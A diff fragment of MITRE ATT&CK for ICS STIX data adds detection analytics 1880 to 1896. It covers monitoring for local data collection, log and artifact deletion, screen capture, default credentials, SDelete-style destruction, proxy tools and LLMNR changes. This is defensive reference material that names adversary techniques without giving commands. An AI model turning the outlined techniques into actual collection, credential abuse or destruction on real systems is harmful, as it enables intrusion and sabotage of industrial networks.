"https://attack.mitre.org/detectionstrategies/DET0747#AN1880", + "external_id": "AN1880" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1880", + "description": "No standard detection method currently exists for this technique.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0099659c-6a20-4331-9d47-b1c0c380fd6b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0749#AN1881", + "external_id": "AN1881" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1881", + "description": "Monitor for unexpected/abnormal access to files that may be malicious collection of local data, such as user files (e.g., .pdf, .docx, .jpg, .dwg ) or local databases.\nMonitor for newly executed processes that may search local system sources, such as file systems or local databases, to find files of interest and sensitive data.\nMonitor for any suspicious attempts to enable scripts running on a system. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\nMonitor for API calls that may search local system sources, such as file systems or local databases, to find files of interest and sensitive data. \nMonitor executed commands and arguments that may search and collect local system sources, such as file systems or local databases, to find files of interest and sensitive data. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "Script", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--55544bb8-440f-4b67-aa35-7e7af5952aca", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0750#AN1882", + "external_id": "AN1882" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1882", + "description": "Monitor executed commands and arguments that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.\nMonitor for API calls that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.\nMonitor for changes made to Windows Registry keys or values that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. For added context on adversary procedures and background see [Indicator Removal](https://attack.mitre.org/techniques/T1070) and applicable sub-techniques.\nMonitor for contextual file data that may show signs of deletion or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.\nMonitor Windows registry keys that may be deleted or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. For added context on adversary procedures and background see [Indicator Removal](https://attack.mitre.org/techniques/T1070) and applicable sub-techniques.\nMonitor for a file that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.\nMonitor for changes made to a file may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.\nMonitor for newly executed processes that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "Windows Registry", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1177a4c5-31c8-400c-8544-9071166afa0e", + "name": "Windows Registry", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--66070162-d51e-46e7-8d32-2140fd5e7086", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0751#AN1883", + "external_id": "AN1883" + }, + { + "source_name": "CopyFromScreen .NET", + "description": "Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.", + "url": "https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8" + }, + { + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1883", + "description": "Monitor executed commands and arguments that may attempt to take screen captures of the desktop to gather information over the course of an operation.\nMonitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware) The data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b74100d1-0085-468a-834a-2bf10924a3b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0752#AN1884", + "external_id": "AN1884" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1884", + "description": "Monitor device alarms for program downloads, although not all devices produce such alarms.\nMonitor for protocol functions related to program download or modification. Program downloads may be observable in ICS automation protocols and remote management protocols.\nConsult asset management systems to understand expected program versions.\nMonitor devices configuration logs which may contain alerts that indicate whether a program download has occurred. Devices may maintain application logs that indicate whether a full program download, online edit, or program append function has occurred.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9d56be63-3501-4dd3-bb5f-63c580833298", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b05a614b-033c-4578-b4f2-c63a9feee706", + "name": "Asset", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--aebd2848-98db-46f1-8e22-627e2ec3c280", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0753#AN1885", + "external_id": "AN1885" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1885", + "description": "Devices that provide user access to the underlying operating system may allow the installation of custom software to monitor OS API execution. Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1672d2e3-8756-4380-b22c-517aa9f1cce0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0754#AN1886", + "external_id": "AN1886" + }, + { + "source_name": "Atlassian Confluence Logging", + "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.", + "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html" + }, + { + "source_name": "Microsoft SharePoint Logging", + "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.", + "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2" + }, + { + "source_name": "Sharepoint Sharing Events", + "description": "Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1886", + "description": "Monitor for newly constructed logon behavior within Microsoft's SharePoint can be configured to report access to certain pages and documents.(Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource.(Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter.(Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. \nIn the case of detecting collection from shared network drives monitor for unexpected and abnormal accesses to network shares. \nMonitor for third-party application logging, messaging, and/or other artifacts that may leverage information repositories to mine valuable information. Information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "Logon Session", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "name": "Network Share", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--78615cd7-6a14-4921-aaa9-2aae0774f0f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0755#AN1887", + "external_id": "AN1887" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1887", + "description": "Monitor ICS management protocols for functions that change an asset\u2019s operating mode.\nMonitor device application logs which may contain information related to operating mode changes, although not all devices produce such logs.\nMonitor alarms for information about when an operating mode is changed, although not all devices produce such logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9d56be63-3501-4dd3-bb5f-63c580833298", + "name": "Operational Databases", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f12aa823-91cc-40e1-93b7-eaa5f5fa9c4d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0756#AN1888", + "external_id": "AN1888" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1888", + "description": "Monitor network traffic for default credential use in protocols that allow unencrypted authentication.\nMonitor logon sessions for default credential use.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "Logon Session", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--89ca8617-20fd-404b-9afb-dcfd2684a791", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0757#AN1889", + "external_id": "AN1889" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1889", + "description": "No standard detection method currently exists for this technique.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f666f516-f8d0-41f6-9a4c-0ac6c1f6086b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0758#AN1890", + "external_id": "AN1890" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1890", + "description": "Monitor for changes made to a large quantity of files for unexpected modifications in both user directories and directories used to store programs and OS components (e.g., C:\\Windows\\System32). \nMonitor for newly executed processes of binaries that could be involved in data destruction activity, such as SDelete.\nMonitor for unexpected deletion of files.\nMonitor executed commands and arguments for binaries that could be involved in data destruction activity, such as SDelete.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ece52da2-ac60-4b0e-863f-ebbc95118a8c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0759#AN1891", + "external_id": "AN1891" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1891", + "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\nMonitor for known proxy protocols (e.g., SOCKS, Tor, peer-to-peer protocols) and tool usage (e.g., Squid, peer-to-peer software) on the network that are not part of normal operations. Also monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7107739b-92d2-41fa-9fc8-ebe72f6086ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0760#AN1892", + "external_id": "AN1892" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1892", + "description": "On Windows and Unix systems monitor executed commands and arguments that may use shell commands for execution. Shells may be common on administrator, developer, or power user systems depending on job function.\n\nOn network device and embedded system CLIs consider reviewing command history if unauthorized or suspicious commands were used to modify device configuration.\nMonitor logs from installed applications (e.g., historian logs) for unexpected commands or abuse of system features.\nMonitor for processes spawning from known command shell applications (e.g., PowerShell, Bash). Benign activity will need to be allow-listed. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3c6a21cb-8643-41bc-94a1-e860b02a1cad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0761#AN1893", + "external_id": "AN1893" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1893", + "description": "Program uploads may be observable in ICS management protocols or file transfer protocols. Note when protocol functions related to program uploads occur. In cases where the ICS protocols is not well understood, one option is to examine network traffic for the program files themselves using signature-based tools.\nMonitor device communication patterns to identify irregular bulk transfers of data between the embedded ICS asset and other nodes within the network. Note these indicators are dependent on the profile of normal operations and the capabilities of the industrial automation protocols involved (e.g., partial program uploads).\nMonitor for device alarms produced when program uploads occur, although not all devices will produce such alarms.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--636e612f-0b63-44e8-bf2c-31b62d20508b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0762#AN1894", + "external_id": "AN1894" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1894", + "description": "No standard detection method currently exists for this technique.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1e9c5d46-14e2-4efc-8861-e6dc942b3b9c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0763#AN1895", + "external_id": "AN1895" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1895", + "description": "No standard detection method currently exists for this technique.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--afc9e394-147e-49db-81df-953d2d3ea93e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0764#AN1896", + "external_id": "AN1896" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1896", + "description": "Monitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient for changes to the \"EnableMulticast\" DWORD value. A value of \"0\" indicates LLMNR is disabled.\nHost-based implementations of this technique may utilize networking-based system calls or network utility commands (e.g., iptables) to locally intercept traffic. Monitor for relevant process creation events.\nMonitor for network traffic originating from unknown/unexpected hosts. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware. For added context on adversary procedures and background see [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) and applicable sub-techniques.\nMonitor for newly constructed services/daemons through Windows event logs for event IDs 4697 and 7045.\nMonitor network traffic for anomalies associated with known AiTM behavior. For Collection activity where transmitted data is not manipulated, anomalies may be present in network management protocols (e.g., ARP, DHCP).\nMonitor application logs for changes to settings and other events associated with network protocols and other services commonly abused for AiTM.", + 